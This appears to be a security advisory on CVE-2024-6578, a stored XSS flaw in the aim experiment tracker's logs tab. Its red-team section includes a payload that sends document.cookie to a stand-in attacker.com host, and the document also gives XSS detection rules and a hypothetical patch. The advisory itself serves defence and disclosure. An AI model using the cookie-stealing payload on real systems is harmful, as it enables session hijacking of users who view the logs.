CVE-2024-6578

Executive Summary

CVE-2024-6578 is a stored cross-site scripting (XSS) vulnerability in aimhubio/aim version 3.19.3. The flaw resides in the logs-tab for runs, where terminal output logs are rendered using the dangerouslySetInnerHTML React function without proper input sanitization. An attacker with the ability to inject log entries can execute arbitrary JavaScript in the context of any user viewing the logs-tab. The CVSS score is 7.2 (High), and no official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability affects the Python package aim (PyPI). Users should monitor the official repository for patch releases and consider pinning to a safe version if available. No known malicious packages have been reported, but the use of dangerouslySetInnerHTML indicates a systemic risk in the codebase.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs ability to inject log entries
• User Interaction: Required (UI:R) – victim must view the logs-tab
• Scope: Changed (S:C) – impact may extend beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The vulnerability is easy to exploit once an attacker has log injection capability, and the stored XSS can lead to session hijacking, data theft, or further compromise.

Deep Dive & Mechanics

The vulnerability is rooted in the React component responsible for rendering terminal output logs in the logs-tab. The code uses dangerouslySetInnerHTML to insert raw HTML into the DOM, bypassing React’s built-in XSS protection. An attacker who can inject log entries (e.g., via a compromised training script or API) can embed malicious JavaScript payloads. When a user navigates to the logs-tab, the payload executes in the user’s browser.

Key Technical Details:

• Affected Component: aim/web/ui/src/pages/Run/LogsTab/LogsTab.tsx (or similar)
• Root Cause: Use of dangerouslySetInnerHTML without sanitization
• Attack Vector: Log injection via aim API or file upload
• Impact: Stored XSS, persistent across sessions

Vulnerable vs. Patched Code

Vulnerable Code (aim 3.19.3):

// LogsTab.tsx (simplified)
function LogsTab({ logs }) {
  return (
    <div>
      {logs.map((log, index) => (
        <div key={index} dangerouslySetInnerHTML={{ __html: log }} />
      ))}
    </div>
  );
}

Patched Code (hypothetical):

// LogsTab.tsx (patched)
import DOMPurify from 'dompurify';

function LogsTab({ logs }) {
  return (
    <div>
      {logs.map((log, index) => (
        <div key={index} dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(log) }} />
      ))}
    </div>
  );
}

The patched version uses DOMPurify to sanitize HTML before rendering, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to inject log entries into an aim instance (e.g., via API or file upload)
• Target user must view the logs-tab

Exploit Payload:

<script>alert('XSS')</script>

Step-by-Step:

1. Inject the payload into a log entry (e.g., via aim run with a malicious script).
2. Wait for a victim to open the logs-tab.
3. The payload executes, stealing cookies or performing actions on behalf of the victim.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for log entries containing <script> tags or event handlers (e.g., onerror, onload).
• Use WAF rules to block malicious payloads in log data.

Mitigation:

• Apply input sanitization on log ingestion (e.g., strip HTML tags).
• Use Content Security Policy (CSP) to restrict script execution.
• Upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Log entries containing: <script>, onerror=, onload=, javascript:
• Network traffic to: attacker.com or similar domains from aim UI
• File hashes: N/A (no known malware)
• Suspicious API calls: POST to /api/runs/logs with HTML payloads

Detection Engineering

YARA Rule

rule CVE_2024_6578_XSS_Logs {
    meta:
        description = "Detects XSS payloads in aim logs"
        author = "Valters IT"
        date = "2025-04-08"
        cve = "CVE-2024-6578"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6578 Stored XSS in aim Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in aim log entries
author: Valters IT
date: 2025-04-08
logsource:
    category: application
    product: aim
detection:
    selection:
        log_entry|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in logs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6578 aim XSS Payload in Logs"; flow:to_server; content:"<script>"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable logs-tab if not critical.
2. Apply input sanitization on log ingestion (e.g., strip HTML tags).
3. Implement CSP to block inline scripts: Content-Security-Policy: default-src 'self'; script-src 'self';
4. Monitor logs for XSS patterns.

Long-Term Fix:

• Replace dangerouslySetInnerHTML with safe rendering (e.g., using textContent or a sanitizer like DOMPurify).
• Conduct code review for similar patterns.

Patch Status: No official patch available. Monitor the aim repository for updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert